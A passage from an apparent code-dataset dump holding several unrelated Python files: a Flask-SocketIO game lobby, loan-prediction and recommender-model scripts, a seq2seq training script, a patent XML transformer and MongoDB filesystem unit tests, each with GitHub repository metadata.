request,make_response,session,redirect,url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_socketio import SocketIO, send, join_room, leave_room,rooms\nfrom random import random\nfrom threading import Thread, Event\nfrom secrets import token_hex\nfrom flask_session import Session\n\napp= Flask(__name__)\napp.config['SECRET_KEY'] = 'mysecret'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'\n\napp.config['SESSION_TYPE'] = 'filesystem'\nSession(app)\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n id = db.Column(db.String(16),primary_key=True)\n username = db.Column(db.String(20),unique=False,nullable=True)\n room = db.Column(db.String(20),unique=False,nullable=False)\n status = db.Column(db.String(15),unique=False,nullable=False)\n\n def __repr__(self):\n return f\"User('{self.id}','{self.username}','{self.room}','{self.status}')\"\n def __init__(self,id,username,room,status):\n self.id = id\n self.username = username\n self.room = room\n self.status= status\n\nsocketio = SocketIO(app)\n\n\n#thread not used\nthread = Thread()\nthread_stop_event = Event()\n\n#function not used\ndef randomNumberGenerator():\n \"\"\"\n Generate a random number every 1 second and emit to a socketio instance (broadcast)\n Ideally to be run in a separate thread?\n \"\"\"\n #infinite loop of magical random numbers\n print(\"Making random numbers\")\n while not thread_stop_event.isSet():\n number = round(random()*10, 3)\n print(number)\n socketio.emit('newnumber', {'number': number}, namespace='/inRoom')\n socketio.sleep(5)\n#function not used\ndef startCoundown():\n while not thread_stop_event.isSet():\n socketio.emit('startTimer',{'state':True},namespace='/inRoom')\n socketio.sleep(40)\n@app.route('/')\ndef room():\n session['num'] = token_hex(8)\n return render_template('lobby.html')\n\n\n@app.route('/inRoom')\ndef sessions():\n return render_template('main.html')\n\n#function not used\n@socketio.on('message')\ndef handleMessage(msg):\n print('Message: ' +msg)\n send(msg,broadcast=True)\n\n@socketio.on('join',namespace='/')\ndef on_join(data):\n username = data['username']\n room = data['room']\n print(session['num'])\n db.session.add(User(id = session['num'],username = username,room = room,status='Not Ready'))\n db.session.commit()\n\n#adding user to user db, sending message to clients in same room about connect when client connect to /inRoom\n@socketio.on('connect', namespace='/inRoom')\ndef test_connect():\n uid = session.get('num','not set')\n print(request.sid,uid)\n curr_user=db.session.query(User).filter(User.id == uid).first()\n if(curr_user is None):\n print('User is redirected to /')\n socketio.emit('redirect',{'url':''},room=request.sid,namespace='/inRoom')\n return\n username = curr_user.username\n room = curr_user.room\n device_names = [[device.username,device.status] for device in db.session.query(User).filter(User.room == room).all()]\n join_room(room)\n send(username + ' has entered the room.', to=room)\n socketio.emit('lobbyUpdate',{\"list\":device_names},to=room,namespace='/inRoom')\n\n\n\n\n #Start the random number generator thread only if the thread has not been started before.\n #if not thread.is_alive():\n # print(\"Starting Thread\")\n # thread = socketio.start_background_task(randomNumberGenerator)\n # socketio.start_background_task(startCoundown)\n\n\n#removing user from user db, sending message to clients in same room about disconnect when client disconnect from /inRoom\n@socketio.on('disconnect', namespace='/inRoom')\ndef test_disconnect():\n uid = session.get('num', 'not set')\n curr_user = db.session.query(User).filter(User.id == uid).first()\n if (curr_user is None):\n return\n username = curr_user.username\n room = curr_user.room\n db.session.delete(curr_user)\n db.session.commit()\n send(username + ' has left the room.', to=room)\n device_names = [[device.username,device.status] for device in db.session.query(User).filter(User.room == room).all()]\n socketio.emit('lobbyUpdate', {\"list\": device_names}, to=room, namespace='/inRoom')\n print('Client disconnected')\n@socketio.on('readyUpdate', namespace='/inRoom')\ndef onUpdate(data):\n uid = session.get('num', 'not set')\n curr_user = db.session.query(User).filter(User.id == uid).first()\n room = curr_user.room\n curr_user.status = data[\"value\"]\n db.session.commit()\n #after updating,update lobby for client\n device_names = [[device.username, device.status] for device in db.session.query(User).filter(User.room == room).all()]\n print(device_names)\n socketio.emit('lobbyUpdate', {\"list\": device_names}, to=room, namespace='/inRoom')\n\n\nif __name__ == '__main__':\n db.drop_all()\n db.create_all()\n socketio.run(app)\n","repo_name":"henryhenrywong/template_multiplayer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30520658659","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import classification_report\r\n\r\ntrain=pd.read_csv(r\"loan_train.csv\")\r\ntest=pd.read_csv(r\"loan_test.csv\")\r\n\r\ntrain.head()\r\n\r\ntest.head()\r\n\r\ntrain.dropna(axis=0,inplace=True)\r\ntest.dropna(axis=0,inplace=True)\r\n\r\ntrain.info()\r\n\r\ntrain=train.drop(columns=['Dependents','Area'],axis=1)\r\ntest=test.drop(columns=['Dependents','Area'],axis=1)\r\n\r\ntest.info()\r\n\r\ntrain = pd.get_dummies(train)\r\n\r\ntrain = train.drop(['Gender_Female', 'Married_No', 'Education_Not Graduate', 'Self_Employed_No', 'Status_N'], axis = 1)\r\n\r\nnew = {'Gender_Male': 'Gender', 'Married_Yes': 'Married', \r\n 'Education_Graduate': 'Education', 'Self_Employed_Yes': 'Self_Employed',\r\n 'Loan_Status_Y': 'Loan_Status'}\r\n \r\ntrain.rename(columns = new, inplace = True)\r\n\r\ntest = pd.get_dummies(test)\r\n\r\ntest = test.drop(['Gender_Female', 'Married_No', 'Education_Not Graduate', 'Self_Employed_No'], axis = 1)\r\n\r\nnew = {'Gender_Male': 'Gender', 'Married_Yes': 'Married', \r\n 'Education_Graduate': 'Education', 'Self_Employed_Yes': 'Self_Employed',\r\n 'Loan_Status_Y': 'Loan_Status'}\r\n \r\ntest.rename(columns = new, inplace = True)\r\n\r\nq1 = train.quantile(0.25)\r\nq3 = train.quantile(0.75)\r\niqr = q3 - q1\r\n\r\ntrain = train[~((train < (q1 - 1.5 * iqr)) |(train > (q3 + 1.5 * iqr))).any(axis = 1)]\r\n\r\nq1 = test.quantile(0.25)\r\nq3 = test.quantile(0.75)\r\niqr = q3 - q1\r\n\r\ntest = test[~((test < (q1 - 1.5 * iqr)) |(test > (q3 + 1.5 * iqr))).any(axis = 1)]\r\n\r\nx = train.drop([\"Status_Y\"], axis = 1)\r\ny = train[\"Status_Y\"]\r\n\r\nminmax = MinMaxScaler()\r\nx = minmax.fit_transform(x)\r\ntest = minmax.transform(test)\r\n\r\nrfc = RandomForestClassifier(n_estimators = 1000, random_state = 1)\r\nrfc.fit(x, y)\r\ny_pred = rfc.predict(test)\r\n\r\n\r\n\r\n\r\n#%%\r\n\r\nimport pickle\r\n\r\npickle.dump(rfc,open('model.pkl','wb'))\r\n","repo_name":"Manasa-N-2504/FLASK_MySQL_LoanPrediction","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27434617959","text":"import sys\r\n\r\nsys.setrecursionlimit(300000)\r\ninput = sys.stdin.readline\r\nN=int(input())\r\nMAP=[list(map(int,input().split())) for _ in range(N)]\r\nvisited = set()\r\ninbound = lambda i,j: 0<=i 0\n finished += (pred[i] == EOS_IDX)\n return correct.sum().item()\n\n\ndef evaluate(model, iterator, criterion):\n model.eval()\n epoch_loss = 0\n epoch_acc = 0\n total = 0\n with torch.no_grad():\n for i, batch in enumerate(iterator):\n src = batch.Question\n trg = batch.Answer\n\n output = model(src, trg) # turn off teacher forcing\n pred = output[1:].argmax(dim=2)\n\n epoch_acc += accuracy(pred, trg[1:], EOS_IDX=A_TEXT.vocab.stoi[''])\n total += len(batch)\n\n # trg = [trg sent len, batch size]\n # output = [trg sent len, batch size, output dim]\n\n output = output[1:].view(-1, output.shape[-1])\n trg = trg[1:].view(-1)\n # trg = [(trg sent len - 1) * batch size]\n # output = [(trg sent len - 1) * batch size, output dim]\n\n loss = criterion(output, trg)\n epoch_loss += loss.item()\n return epoch_loss / len(iterator), epoch_acc / total\n\n\nif __name__ == '__main__':\n\n fix_seed(args.seed)\n\n # def tokenize(sentence):\n # return [tok for tok in sentence]\n\n Q_TEXT = Field(tokenize=lambda sen: list(sen), init_token=\"\", eos_token=\"\")\n A_TEXT = Field(tokenize=lambda sen: list(sen), init_token=\"\", eos_token=\"\")\n\n # associate the text in the 'Question' column with the Q_TEXT field,\n # and 'Answer' with A_TEXT field\n data_fields = [('Question', Q_TEXT), ('Answer', A_TEXT)]\n\n # train, val = TabularDataset.splits(path=PATH, train='train.csv', validation='val.csv', format='csv',\n # fields=data_fields, skip_header=True)\n tab_dataset = TabularDataset(path=f'{args.path}/all.csv', format='csv', fields=data_fields, skip_header=True)\n train, val, test = tab_dataset.split(split_ratio=[0.5, 0.2, 0.3], random_state=random.getstate())\n\n Q_TEXT.build_vocab(train)\n A_TEXT.build_vocab(train)\n print('Question Tokenize')\n print(list(Q_TEXT.vocab.stoi.items()))\n print('Answer Tokenize')\n print(list(A_TEXT.vocab.stoi.items()))\n # print(list(A_TEXT.vocab.itos))\n\n INPUT_DIM = len(Q_TEXT.vocab)\n OUTPUT_DIM = len(A_TEXT.vocab)\n\n # BATCH_SIZE = 512\n # ENC_EMB_DIM = 256 # 256\n # DEC_EMB_DIM = 256 # 256\n # HID_DIM = 512 # 512\n # N_LAYERS = 2\n # ENC_DROPOUT = 0.5\n # DEC_DROPOUT = 0.5\n\n device = torch.device(f'cuda:{args.gpu}' if torch.cuda.is_available() else 'cpu')\n # device = torch.device('cpu')\n print(f'using device {device}')\n\n train_iter, val_iter, test_iter = BucketIterator.splits(\n (train, val, test),\n batch_size=args.batch_size,\n shuffle=True, sort=False,\n device=device\n )\n from model.transformer import Transformer\n\n\n class Mod(nn.Module):\n def __init__(self):\n super().__init__()\n self.embedding = nn.Embedding(INPUT_DIM, args.enc_emb_dim, padding_idx=1)\n self.transform = Transformer(\n d_model=args.enc_emb_dim,\n dim_feedforward=args.enc_emb_dim,\n num_encoder_layers=12,\n dropout=args.enc_dropout\n )\n\n def forward(self, src, trg):\n x = self.embedding(src)\n return self.transform(x, self.embedding(trg))\n\n\n model = Mod().to(device)\n # build model\n # enc = Encoder(INPUT_DIM, args.enc_emb_dim, args.hid_dim, args.n_layers, args.enc_dropout).to(device)\n # dec = Decoder(OUTPUT_DIM, args.dec_emb_dim, args.hid_dim, args.n_layers, args.dec_dropout).to(device)\n # model = Seq2Seq(enc, dec, device).to(device)\n\n print(model)\n print(f'The model has {count_parameters(model):,} trainable parameters')\n\n optimizer = optim.Adam(model.parameters(), lr=1e-3)\n PAD_IDX = A_TEXT.vocab.stoi['']\n criterion = nn.CrossEntropyLoss(ignore_index=PAD_IDX)\n\n best_valid_loss = float('inf')\n best_valid_acc = 0\n best_model = {}\n count = 0\n try:\n for epoch in range(args.n_epochs):\n start_time = time.time()\n\n train_loss = training(model, train_iter, optimizer, criterion, args.clip)\n # valid_loss, valid_acc = evaluate(model, train_iter, criterion)\n # print(valid_loss,valid_acc)\n valid_loss, valid_acc = evaluate(model, train_iter, criterion)\n print(valid_loss, valid_acc)\n\n end_time = time.time()\n\n epoch_mins, epoch_secs = epoch_time(start_time, end_time)\n\n if valid_acc > best_valid_acc and valid_loss < best_valid_loss:\n best_valid_loss = valid_loss\n best_valid_acc = valid_acc\n best_model = copy.deepcopy(model.state_dict())\n count = 0\n else:\n count += 1\n print(f'Epoch: {epoch + 1:02} | Time: {epoch_mins}m {epoch_secs}s')\n print(f'\\tTrain Loss: {train_loss:.3f} | Train PPL: {math.exp(train_loss):7.3f}')\n print(\n f'\\t Val. Loss: {valid_loss:.3f} | Val. PPL: {math.exp(valid_loss):7.3f} | Val. ACC: {valid_acc:.3f}')\n if valid_acc > 0.95 or train_loss < 0.005 or count > 50: # early stop\n break\n except KeyboardInterrupt as e:\n print(e)\n finally:\n print(f'Best Val. Loss: {best_valid_loss:.3f} | Val. ACC: {best_valid_acc:.3f}')\n torch.save(best_model, f'{args.path}/best-{best_valid_acc:.3f}-{args.hid_dim}-{args.seed}.pt')\n model.load_state_dict(best_model)\n # _, acc = evaluate(model, test_iter, criterion)\n # print(f'Test ACC: {acc:.3f}')\n # model.eval()\n\n evaluate_results(model, test_iter, Q_TEXT, A_TEXT, f'{args.path}', 'test')\n","repo_name":"renph/math-word-problems","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36292397975","text":"import pandas as pd\nfrom PNN import PNN\nfrom NFM import NFM\nfrom DeepCrossNetwork import DCN\n\nTRAIN_FILE = \"../Data/Driver_Prediction_Data/train.csv\"\nTEST_FILE = \"../Data/Driver_Prediction_Data/test.csv\"\n\nNUMERIC_COLS = [\n \"ps_reg_01\", \"ps_reg_02\", \"ps_reg_03\",\n \"ps_car_12\", \"ps_car_13\", \"ps_car_14\", \"ps_car_15\"\n]\n\nIGNORE_COLS = [\n \"id\", \"target\",\n \"ps_calc_01\", \"ps_calc_02\", \"ps_calc_03\", \"ps_calc_04\",\n \"ps_calc_05\", \"ps_calc_06\", \"ps_calc_07\", \"ps_calc_08\",\n \"ps_calc_09\", \"ps_calc_10\", \"ps_calc_11\", \"ps_calc_12\",\n \"ps_calc_13\", \"ps_calc_14\",\n \"ps_calc_15_bin\", \"ps_calc_16_bin\", \"ps_calc_17_bin\",\n \"ps_calc_18_bin\", \"ps_calc_19_bin\", \"ps_calc_20_bin\"\n]\n\ndef load_data():\n dfTrain = pd.read_csv(TRAIN_FILE) # shape (10000, 59)\n dfTest = pd.read_csv(TEST_FILE) # shape (2000, 58)\n df = pd.concat([dfTrain, dfTest], sort=True)\n # print (df.shape) # shape (12000, 59)\n\n cols = [c for c in dfTrain.columns if c not in ['id', 'target']]\n cols = [c for c in cols if (c not in IGNORE_COLS)]\n\n X_train = dfTrain[cols].values\n y_train = dfTrain['target'].values\n\n X_test = dfTest[cols].values\n ids_test = dfTest['id'].values\n\n return df, dfTrain, dfTest, X_train, y_train, X_test, ids_test\n\ndef split_dimensions(df):\n feat_dict = {}\n tc = 0\n for col in df.columns:\n if col in IGNORE_COLS:\n continue\n\n if col in NUMERIC_COLS:\n feat_dict[col] = tc\n tc += 1\n\n else:\n us = df[col].unique()\n feat_dict[col] = dict(zip(us, range(tc, len(us) + tc)))\n tc += len(us)\n feat_dimension = tc\n # print (feat_dict)\n # print (feat_dimension) # 254\n return feat_dict,feat_dimension\n\ndef data_parse(df_data, feat_dict, training = True):\n\n if training:\n y = df_data['target'].values.tolist()\n df_data.drop(['id', 'target'], axis=1, inplace=True)\n else:\n ids = df_data['id'].values.tolist()\n df_data.drop(['id'], axis=1, inplace=True)\n\n df_index = df_data.copy()\n for col in df_data.columns:\n if col in IGNORE_COLS:\n df_data.drop(col, axis = 1, inplace = True)\n df_index.drop(col, axis = 1, inplace = True)\n continue\n if col in NUMERIC_COLS:\n df_index[col] = feat_dict[col]\n else:\n df_index[col] = df_data[col].map(feat_dict[col])\n df_data[col] = 1.\n\n xi = df_index.values.tolist()\n xd = df_data.values.tolist()\n\n if training:\n return xi, xd, y\n else:\n return xi, xd, ids\n\n\ndef run_base_model_pnn(fd, dfTrain):\n split_dimensions(fd)\n\n\n\ndef main():\n fd, dfTrain, dfTest, X_train, y_train, X_test, ids_test = load_data()\n\n feat_dict, feat_dimension = split_dimensions(fd)\n\n Xi_train, Xv_train, y_train = data_parse(dfTrain, feat_dict, training=True)\n\n Xi_test, Xv_test, ids_test = data_parse(dfTest, feat_dict, training=False)\n\n # print(dfTrain.dtypes)\n\n feature_size = feat_dimension\n field_size = len(Xi_train[0])\n\n print(feature_size,field_size) # 254, 37\n\n # pnn_model = PNN(feature_size = feat_dimension,\n # field_size = len(Xi_train[0]),\n # batch_size=128,\n # epoch=100\n # )\n #\n # pnn_model.fit(Xi_train,Xv_train,y_train)\n\n # nfm_model = NFM(feature_size = feat_dimension,\n # field_size = len(Xi_train[0]),\n # batch_size=128,\n # epoch=5\n # )\n # nfm_model.fit(Xi_train,Xv_train,y_train)\n\n dcn_model = DCN(feature_size=feat_dimension,\n field_size=len(Xi_train[0]),\n batch_size=128,\n epoch=1\n )\n dcn_model.fit(Xi_train, Xv_train, y_train)\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"wangby511/Recommendation_System","sub_path":"Test/MainPipelinePNNorNFM.py","file_name":"MainPipelinePNNorNFM.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"2011731927","text":"\nimport lxml.etree as ET\nfrom dateutil import parser\nfrom puresite import *\nimport requests\nfrom bs4 import BeautifulSoup\n\n# TODO: Create external inventors\n# TODO: get root Org dynamically from Pure API, if desired...\n# TODO: search for all external persons, return matches, choose one with most external orgs/info\n\n# Main entry point\ndef main():\t\n\n\tsites = Serializer().load(\"sites\")\n\n\tfor site in sites:\n\t\tget_patents(site)\n\n# Downloads Inteum patents from a site\ndef get_patents(site):\n\tprint(\"------------------\")\n\tprint(site.name)\n\tprint(\"------------------\")\n\n\tprint(\"Saving XML from {0}...\".format(site.url))\n\tsave_file(requests.get(site.url), '.', site.name)\n\t\n\t# Resolve inventor names and save if not done yet.\n\tif not PersonResolver(site).load_matches():\n\t\tmatch_persons(site)\n\n\tprint(\"Transforming XML {0}.xml to {0}_out.xml...\".format(site.name))\n\ttransform(site)\n\ndef save_file(response, folder, name):\n\ttree = ET.fromstring(response.content)\n\tprint(\"Patents: {0}\".format(len(tree.xpath('//item'))))\n\n\tpath = os.path.join(folder, name+\".xml\")\n\n\tET.ElementTree(tree).write(path, pretty_print = True)\n\n# Attempts to match inventors with internal persons in a Pure site using API \ndef match_persons(site):\n\t# search for all internal persons, return matches\n\n\txml = ET.parse(site.name + \".xml\")\n\tns = {'dataField': 'https://www.inteum.com/technologies/data/'}\n\n\t# Get all inventor names from RSS feed\n\tcandidates = {}\n\tfor inventor in xml.xpath(\"//dataField:inventor\", namespaces = ns):\n\t\tfirst = inventor.find(\"dataField:firstName\", ns).text\n\t\tlast = inventor.find(\"dataField:lastName\", ns).text\n\n\t\t# Hash candidates by full name, so we prune repeat occurences\n\t\tcandidates[\"{0};{1}\".format(first,last)] = (first,last)\n\n\tprint(\"Candidates: {0}\".format(len(candidates)))\n\n\tpr = PersonResolver(site)\n\tmatches = pr.match(candidates)\n\n\t#Save matches to disk\n\tpr.save_matches()\n\n\tprint(\"Matches found: {0}\".format(len(matches)))\n\n#Custom XSLT functions:\n# Parse, s and return the desired {%Y, %m or %d} component\ndef get_date(context, s, component):\n\tdt = parser.parse(s)\n\treturn dt.strftime(\"%{0}\".format(component))\n\n# Tidies up HTML contents\ndef clean_html(context, s):\n\ttree = BeautifulSoup(s, \"html.parser\")\n\treturn tree.prettify(formatter='html')\t\n\n# Transforms XML from RSS feed to Pure XML\ndef transform(site):\n\t# get files for particular site\n\txml_filename = site.name + \".xml\"\n\txsl_filename = 'rss-to-pubs.xsl'\n\txml_output_filename = site.name + \"_out.xml\"\n\n\t# Person resolver for current site to get names\n\tpr = PersonResolver(site)\n\tpr.load_matches()\n\n\t# Add custom functions to XSLT context\n\tns = ET.FunctionNamespace(\"python\")\n\tns['get_date'] = get_date\n\tns['lookup_person'] = pr.lookup_person\n\tns['clean_html'] = clean_html\n\n\t# Transform XML\n\txml = ET.parse(xml_filename)\n\ttransform = ET.XSLT(ET.parse(xsl_filename))\n\n\t# pass dynamic parameters to XSLT, e.g. root Org ID\n\ttransformed = transform(xml, site = ET.XSLT.strparam(site.name), root_org = ET.XSLT.strparam(site.root_org))\n\n\t# Save transformed XML file\n\ttransformed.write(xml_output_filename, pretty_print = True, xml_declaration = True, encoding = \"utf-8\")\n\nmain()","repo_name":"larsko/pure.py","sub_path":"patents.py","file_name":"patents.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30639817520","text":"\nfrom torch.utils.data import DataLoader\nfrom utils.dataloader import SCfaceDataset\n\ndataset_path = '/home/zk/project/arcface-pytorch/datasets/SCface/sc2_6/'\nimage_size = [112, 112, 3]\ndataset = SCfaceDataset(dir=dataset_path, image_size=image_size)\ndataloader = DataLoader(SCfaceDataset(\n dir=dataset_path, image_size=image_size), batch_size=130, shuffle=False)\nall_data = list(dataloader)\nprint(all_data[0].shape)\n# print(image2.shape)\n# for batch_i, (image_path1, image_path2) in enumerate(dataloader):\n# print(image_path1.shape)\n# print(image_path2.shape)\n# print(len(dataset))\n","repo_name":"Meow-2/arcface-pytorch","sub_path":"test_dataloader.py","file_name":"test_dataloader.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"10972501355","text":"import unittest\nfrom unittest.mock import patch\nfrom bson import json_util\nfrom fuse import FuseOSError\n\nfrom src.core.Configuration import Configuration\nfrom src.core.Mongo import Mongo\nfrom src.core.GenericFile import GenericFile\nfrom src.core.File import File\nfrom src.core.Directory import Directory\nfrom src.core.SymbolicLink import SymbolicLink\n\nfrom test.core.Utils import Utils\n\nclass TestMongo(unittest.TestCase):\n def setUp(self): \n Configuration.FILEPATH = 'test/resources/conf/mongofs.json'\n self.obj = Mongo(do_clean_up=True)\n GenericFile.mongo = self.obj\n GenericFile.configuration = Configuration()\n self.utils = Utils(mongo=self.obj)\n self.utils.load_files()\n\n def tearDown(self):\n self.obj.clean_database()\n\n def test_load_generic_file_file(self):\n self.assertIsInstance(self.obj.load_generic_file(self.utils.file_raw), File)\n\n def test_load_generic_file_directory(self):\n self.assertIsInstance(self.obj.load_generic_file(self.utils.directory_raw), Directory)\n\n def test_load_generic_file_symbolic_link(self):\n self.assertIsInstance(self.obj.load_generic_file(self.utils.symbolic_link_raw), SymbolicLink)\n\n def test_current_user(self):\n user = self.obj.current_user()\n self.assertIsInstance(user['uid'], int)\n self.assertIsInstance(user['gid'], int)\n self.assertIsInstance(user['pid'], int)\n\n def test_lock_id(self):\n filepath = 'test-file'\n hostname = Mongo.configuration.hostname()\n pid = self.obj.current_user()['pid']\n expected_lock = filepath+';'+str(pid)+';'+hostname\n self.assertEqual(self.obj.lock_id(filepath=filepath), expected_lock)\n\n def test_create_generic_file(self):\n self.utils.insert_file()\n gf = self.utils.files_coll.find_one({'directory_id':self.utils.file.directory_id,'filename':self.utils.file.filename},{'uploadDate':False})\n self.assertEqual(json_util.dumps(gf, sort_keys=True), json_util.dumps(self.utils.file_raw, sort_keys=True))\n\n def test_remove_generic_file(self):\n self.utils.insert_file()\n self.obj.remove_generic_file(generic_file=self.utils.file)\n gf = self.utils.files_coll.find_one({'filename': self.utils.file.filename})\n self.assertEqual(gf, None)\n\n def test_remove_generic_file_directory_not_empty(self):\n # Try to delete the parent directory while a file still exist in it\n self.utils.insert_directory()\n self.obj.create_generic_file(generic_file=self.utils.directory_file)\n try:\n self.obj.remove_generic_file(generic_file=self.utils.directory)\n self.assertTrue(False, msg=\"It was possible to remove a directory while it was still containing files.\")\n except FuseOSError as e:\n self.assertTrue(True)\n\n def test_remove_generic_file_directory_empty(self):\n # Try to delete the parent directory after deleting the file in it\n self.utils.insert_directory()\n self.utils.insert_directory_file()\n self.obj.remove_generic_file(generic_file=self.utils.directory_file)\n self.obj.remove_generic_file(generic_file=self.utils.directory)\n self.assertTrue(True)\n\n def test_list_generic_files_in_directory(self):\n self.utils.insert_directory()\n self.utils.insert_file()\n self.utils.insert_symbolic_link()\n\n files = self.obj.list_generic_files_in_directory(filepath='/')\n self.assertEqual(len(files), 3)\n\n def test_generic_file_exists(self):\n self.assertFalse(self.obj.generic_file_exists(self.utils.file.filepath))\n self.utils.insert_file()\n self.assertTrue(self.obj.generic_file_exists(self.utils.file.filepath))\n\n def test_get_generic_file(self):\n self.utils.insert_file()\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath)\n self.assertIsInstance(gf, File)\n\n def test_get_generic_file_take_lock(self):\n self.utils.insert_file()\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_WRITE})\n self.assertIsInstance(gf, File)\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 1)\n self.assertEqual(gf.json['lock'][0]['type'], GenericFile.LOCK_WRITE)\n\n # We are the same owner, so normally, we should still be able to take the file if there is a lock on it.\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_READ})\n self.assertIsInstance(gf, File)\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 1)\n self.assertEqual(gf.json['lock'][0]['type'], GenericFile.LOCK_READ)\n\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_UNLOCK})\n self.assertIsInstance(gf, File)\n self.assertFalse('lock' in gf.json)\n\n def test_get_file_multiple_lock_process(self):\n with patch.object(self.obj, 'current_user') as mock_current_user:\n mock_current_user.return_value = self.obj.user(1, 1, 1)\n self.utils.insert_file()\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_WRITE})\n self.assertIsInstance(gf, File)\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 1)\n self.assertEqual(gf.json['lock'][0]['type'], GenericFile.LOCK_WRITE)\n\n mock_current_user.return_value = self.obj.user(2, 2, 2)\n with self.assertRaises(FuseOSError):\n self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_WRITE})\n with self.assertRaises(FuseOSError):\n self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_READ})\n\n mock_current_user.return_value = self.obj.user(1, 1, 1)\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_READ})\n self.assertIsInstance(gf, File)\n self.assertEqual(len(gf.json['lock']), 1)\n self.assertEqual(gf.json['lock'][0]['type'], GenericFile.LOCK_READ)\n\n mock_current_user.return_value = self.obj.user(2, 2, 2)\n with self.assertRaises(FuseOSError):\n self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_WRITE})\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_READ})\n self.assertIsInstance(gf, File)\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 2)\n self.assertEqual(gf.json['lock'][0]['type'], GenericFile.LOCK_READ)\n self.assertEqual(gf.json['lock'][1]['type'], GenericFile.LOCK_READ)\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_UNLOCK})\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 1)\n\n self.obj.release_generic_file(filepath=self.utils.file.filepath, generic_file=gf)\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath)\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 1)\n\n self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_READ})\n mock_current_user.return_value = self.obj.user(1, 1, 1)\n self.obj.release_generic_file(filepath=self.utils.file.filepath, generic_file=gf)\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath)\n self.assertTrue('lock' in gf.json)\n self.assertEqual(len(gf.json['lock']), 1)\n\n with self.assertRaises(FuseOSError):\n self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_UNLOCK})\n\n mock_current_user.return_value = self.obj.user(2, 2, 2)\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath, lock={'type': GenericFile.LOCK_UNLOCK})\n self.assertTrue('lock' not in gf.json)\n \n\n def test_get_generic_file_missing(self):\n gf = self.obj.get_generic_file(filepath=self.utils.file.filepath)\n self.assertEqual(gf, None)\n\n def test_add_nlink_directory(self):\n # By default, a directory has 2 st_nlink. And by default, the \"/\" directory always exists.\n self.obj.add_nlink_directory(directory_id=self.utils.root_id, value=4)\n gf = self.utils.files_coll.find_one({'_id': self.utils.root_id})\n self.assertEqual(gf['metadata']['st_nlink'], 6)\n\n def test_read_data(self):\n self.utils.insert_file()\n self.utils.insert_file_chunks()\n message = self.utils.read_file_chunks()\n\n data = self.obj.read_data(file=self.utils.file, offset=0, size=4096)\n self.assertEqual(data, message)\n\n data = self.obj.read_data(file=self.utils.file, offset=3, size=4096)\n self.assertEqual(data, message[3:])\n\n data = self.obj.read_data(file=self.utils.file, offset=0, size=8)\n self.assertEqual(data, message[:8])\n\n data = self.obj.read_data(file=self.utils.file, offset=3, size=8)\n self.assertEqual(data, message[3:3+8])\n\n def test_add_data_append(self):\n self.utils.insert_file()\n self.utils.insert_file_chunks()\n message = self.utils.read_file_chunks()\n\n self.obj.add_data(file=self.utils.file, data=b'test', offset=len(message))\n modified_message = self.utils.read_file_chunks()\n self.assertEqual(modified_message, message+b'test')\n\n def test_add_data_replace(self):\n self.utils.insert_file()\n self.utils.insert_file_chunks()\n message = self.utils.read_file_chunks()\n message = list(message)\n message[2] = ord('t')\n message[3] = ord('h')\n message[4] = ord('i')\n message[5] = ord('n')\n message[6] = ord('g')\n message[7] = ord('s')\n expected_message = ''.join(map(chr, message))\n\n self.obj.add_data(file=self.utils.file, data=b'things', offset=2)\n modified_message = self.utils.read_file_chunks()\n formatted_modified_message = ''.join(map(chr, list(modified_message)))\n self.assertEqual(formatted_modified_message, expected_message)\n\n def test_truncate(self):\n self.utils.insert_file()\n 